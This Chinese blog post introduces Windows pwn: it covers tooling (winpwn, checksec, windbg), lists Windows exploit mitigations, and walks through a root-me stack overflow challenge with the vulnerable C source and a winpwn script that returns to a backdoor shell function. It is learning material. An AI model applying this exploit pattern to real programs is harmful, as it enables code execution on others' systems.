首页 > 系统相关 >windows pwn(一)

windows pwn(一)

时间:2023-03-01 13:57:40浏览次数:56  
标签:windows win 程序 https pwn winpwn

前言

前几天因为看CS shellcode装了一个win10虚拟机,然后正好因为逆向课老师要装一系列工具。于是就想起来之前一直想看的windows pwn,就顺便装了一下相关工具并且入门了一下。

工具安装

winpwn

这个和pwntools差不多,不过可以让我们本地跑windows的程序(pwntools只可以本地跑linux的)。可以通过以下命令安装:

  • pip3 install winpwn
  • pip3 install pefile
  • pip3 install keystone-engine
  • pip3 install install capstone

安装完成之后可以通过from winpwn import *来检查一下,如果不报错那么即代表安装好了。

checksec

用来检查程序的保护机制是否开启。通过如下链接即可从github上下载到一个现成的。

https://github.com/Wenzel/checksec.py/releases/download/v0.6.2/checksec.exe

windbg

用来对程序进行调试。我推荐直接在Microsof store里下载windbg preview。(不过笔者由于操作不当,竟然把这玩意强行粉碎了,并且还没找到办法重新下载一个)于是笔者就随便找了一个windbg用了一下。

win_server

EX师傅写的,用来把程序映射到某个端口,方便我们的调试。项目地址如下:

https://github.com/Ex-Origin/win_server.git

保护机制

windows下的保护机制感觉比linux下多很多。

1、NX:(在windows下应该是DEP,可能是我这个checksec不标准)。表示堆栈不可执行。

2、Canary:(在windows下应该是GS,可能是我这个checksec不标准)。用来检测缓冲区溢出,与linux下的canary一样。

3、ASLR:地址随机化,使得exe,dll的地址不固定。

4、Dynamic Base:程序编译时可通过/DYNAMICBASE编译选项指示程序是否利用ASLR的功能。

5、High Entropy VA:我也不是很理解(也许是使得随机化程度更高?

6、SEH:结构化异常处理(Structured Exception Handling,简称 SEH)是一种Windows操作系统对错误或异常提供的处理技术。为Windows的程序设计者提供了程序错误或异常的处理途径,使得系统更加健壮。

7、SafeSEH:为了防止攻击者通过覆盖堆栈上的异常处理函数句柄,从而控制程序执行流程的攻击,在调用异常处理函数之前,对要调用的异常处理函数进行一系列的有效性校验,如果发现异常处理函数不可靠,立即终止异常处理函数的调用。

8、Force Integrity:强制签名保护。

9、Control Flow Guard:控制Flow防护 (CFG) 是一项高度优化的平台安全功能,旨在打击内存损坏漏洞。 通过严格限制应用程序可以从何处执行代码,利用漏洞(如缓冲区溢出)执行任意代码会更加困难。

10、Isolation:隔离保护,默认会开启。

11、Authenticode:签名保护。

例题

这里我们拿root-me PE32 - Stack buffer overflow basic来练手。

程序只开了DEP和SEH,并且程序的源代码已经给我们了,如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>

#define DEFAULT_LEN 16

void admin_shell(void)
{
	system("C:\\Windows\\system32\\cmd.exe");
}

int main(void)
{
	char buff[DEFAULT_LEN] = {0};
	int i;
	
	gets(buff);
	for (i = 0; i < DEFAULT_LEN; i++) {
		buff[i] = toupper(buff[i]);
	}
	printf("%s\n", buff);
}

那么就是一个很明显的缓冲区溢出,并且还给了我们后门函数,直接用winpwnexp即可。

from winpwn import *

context.log_level='debug'
context.arch='i386'

r = process('./ch72.exe')

payload  = 'a' * (0x14 + 4)
payload += p32(0x401000)
r.sendline(payload)
sleep(1)
r.sendline('calc')

r.interactive()

调试方法

windows pwn的调试方法很多,这里我就介绍一种,借助Ex师傅的win server进行调试。

首先用win server把我们要调试的程序映射到某一端口上,如下:

接着用pwntools发包使得程序得以运行,此时我们就可以通过windbg attach 上去,愉快地调试了。

同时可以通过这个工具(https://learn.microsoft.com/zh-cn/sysinternals/downloads/vmmap)查看程序的内存分布

参考链接

https://www.z1r0.top/2022/11/23/win-pwn初探(一)/#安装winpwn
https://www.z1r0.top/2022/11/30/win-pwn初探(二)/#利用pwntools编写exp
https://xuanxuanblingbling.github.io/ctf/pwn/2020/07/09/winpwn/

标签:windows,win,程序,https,pwn,winpwn
From: https://www.cnblogs.com/pwnfeifei/p/17162374.html

相关文章

  • Windows server 12 安装与配置
     1.首先点击创建新的虚拟机2.接下来会出现这张页面,点击下一步即可3.选为安装程序光盘映像文件,选择下载好的映像文件,点击下一步4.上网查询产品秘钥,并设置密码,点击下......
  • 基于Rocky Linux搭建Windows域控制器
    1、基于RockyLinux搭建Windows域控制器https://blog.csdn.net/Sakura0156/article/details/125822938?spm=1001.2101.3001.6650.8&utm_medium=distribute.pc_relevant.no......
  • 如何在Windows窗体中使用Quartz .net?
    好!我浪费了太多时间来解决这个问题,使Quartz.net在windows窗体上工作。但是,我有一个通用的解决方案,我希望能帮助其他人。像往常一样创建IJOB类创建一个指向表单的静态......
  • Windows Longhorn:美学巅峰的开始
    WindowsLonghorn:美学巅峰的开始Macindows因某生活打击决定长期停更(2.17)​关注 418人赞同了该文章为了弄清楚WindowsVista之所以是美学巅峰,我......
  • Windows上使用CMake GUI编译开源代码时,提示:cmake Could NOT find ZLIB (missing:ZLIB_
    有的时候就算在CMakeGUI中配置完ZLIB_LIBRARY和PNG_LIBRARY和PNG_PNG_INCLUDE_DIR等相关路径,还是提示上述错误。原因还是由于编译某源码时遗漏了对第三方开源依赖库的配置......
  • OS-Windows-powercfg 查看PC电池损耗
    OS-Windows-powercfg查看PC电池损耗windows系统相关命令powercfgpowercfg/?可以查看命令提示,powercfg/batteryreport命令生成电池使用情况报告,Designcapacity......
  • Windows平台Unity Camera场景实现轻量级RTSP服务和RTMP推送
    技术背景随着VR技术在医疗、军事、农业、学校、景区、消防、公共安全、研学机构、展厅展馆,商场等场所普及,开发者对Unity平台下的直播体验提出了更高的要求。技术实现Unity平......
  • 配置samba将linux文件映射到windows
    环境Centos7Windows10 关闭防火墙使用以下命令暂时安全校验:systemctlstopfirewalld暂时关闭防火墙setenforce0临时关闭selinux上面两条命令使用其中......
  • BUUctf pwn1_sctf_2016 nc尝试
    BUUctfpwn1_sctf_2016file,发现文件是32位elfchecksec,发现文件开启了NX保护,NX指的是NoExcute(禁止运行)IDA查看函数,发现main()调用了vuln(),而且存在一个get_flag函数,地......
  • Java代码判断当前操作系统是Windows或Linux或MacOS
    在Java开发过程中,有时候需要根据操作系统的类型,来选择执行不同的脚本或加载不同的动态库,比如Window下的脚本是.bat文件,而Linux下的脚本是.sh文件,还有Windows下的......